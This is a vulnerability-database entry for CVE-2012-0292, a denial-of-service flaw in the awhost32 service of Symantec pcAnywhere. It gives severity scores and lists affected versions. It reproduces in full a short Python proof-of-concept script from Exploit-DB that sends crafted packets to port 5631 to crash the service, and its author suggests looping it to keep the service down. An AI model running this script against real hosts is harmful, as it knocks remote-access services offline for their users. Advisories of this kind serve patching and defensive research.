CVE-2012-0292 : Detail

CVE-2012-0292

A03-Injection
5.53%V3
Network
2012-03-08
01h00 +00:00
2018-01-05
17h57 +00:00
CVE.org
NVD
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CVE Descriptions

The awhost32 service in Symantec pcAnywhere through 12.5.3, Altiris IT Management Suite pcAnywhere Solution 7.0 (aka 12.5.x) and 7.1 (aka 12.6.x), Altiris Client Management Suite pcAnywhere Solution 7.0 (aka 12.5.x) and 7.1 (aka 12.6.x), and Altiris Deployment Solution Remote pcAnywhere Solution 7.1 (aka 12.5.x and 12.6.x) allows remote attackers to cause a denial of service (daemon crash) via a crafted TCP session on port 5631.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 18493

Publication date : 2012-02-16 23h00 +00:00
Author : Johnathan Norman
EDB Verified : No

#!/usr/bin/python ''' Exploit Title: PCAnywhere Nuke Date: 2/16/12 Author: Johnathan Norman spoofy <at> exploitscience.org or @spoofyroot Version: PCAnyWhere (12.5.0 build 463) and below Tested on: Windows Description: The following code will crash the awhost32 service. It'll be respawned so if you want to be a real pain you'll need to loop this.. my inital impressions are that controlling execuction will be a pain. ''' import sys import socket import argparse if len(sys.argv) != 2: print "[+] Usage: ./pcNuke.py <HOST>" sys.exit(1) HOST = sys.argv[1] PORT = 5631 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) # HELLO! s.send("\x00\x00\x00\x00") buf = s.recv(1024) # ACK! s.send("\x6f\x06\xfe") buf = s.recv(1024) # Auth capability part 1 s.send("\x6f\x62\xff\x09\x00\x07\x00\x00\x01\xff\x00\x00\x07\x00") # Auth capability part 2 s.send("\x6f\x62\xff\x09\x00\x07\x00\x00\x01\xff\x00\x00\x07\x00")

Products Mentioned

Configuraton 0

Symantec>>Pcanywhere >> Version To (including) 12.5

    Symantec>>Pcanywhere >> Version 10.0

    Symantec>>Pcanywhere >> Version 10.5

    Symantec>>Pcanywhere >> Version 11.0

    Symantec>>Pcanywhere >> Version 11.0.1

    Symantec>>Pcanywhere >> Version 11.5

    Symantec>>Pcanywhere >> Version 11.5.1

    Symantec>>Pcanywhere >> Version 12.0

    Symantec>>Pcanywhere >> Version 12.0.1

      Symantec>>Pcanywhere >> Version 12.0.2

        Symantec>>Pcanywhere >> Version 12.0.3

          Symantec>>Pcanywhere >> Version 12.1

            Symantec>>Pcanywhere >> Version 12.5

              Symantec>>Pcanywhere >> Version 12.5

                Symantec>>Pcanywhere >> Version 12.5

                  Symantec>>Pcanywhere >> Version 12.5.3

                    Symantec>>Pcanywhere >> Version 12.5.265

                      Symantec>>Pcanywhere >> Version 12.5.539

                        Configuraton 0

                        Symantec>>Altiris_client_management_suite_pcanywhere_solution >> Version 7.0

                          Symantec>>Altiris_climentent_manage_suite_pcanywhere_solution >> Version 7.1

                            Symantec>>Altiris_deployment_solution_remote_pcanywhere_solution >> Version 7.1

                              Symantec>>Altiris_it_management_suite_pcanywhere_solution >> Version 7.0

                                Symantec>>Altiris_it_management_suite_pcanywhere_solution >> Version 7.1

                                  References

                                  http://www.securityfocus.com/bid/52094
                                  Tags : vdb-entry, x_refsource_BID
                                  http://www.exploit-db.com/exploits/18493/
                                  Tags : exploit, x_refsource_EXPLOIT-DB
                                  http://secunia.com/advisories/48092
                                  Tags : third-party-advisory, x_refsource_SECUNIA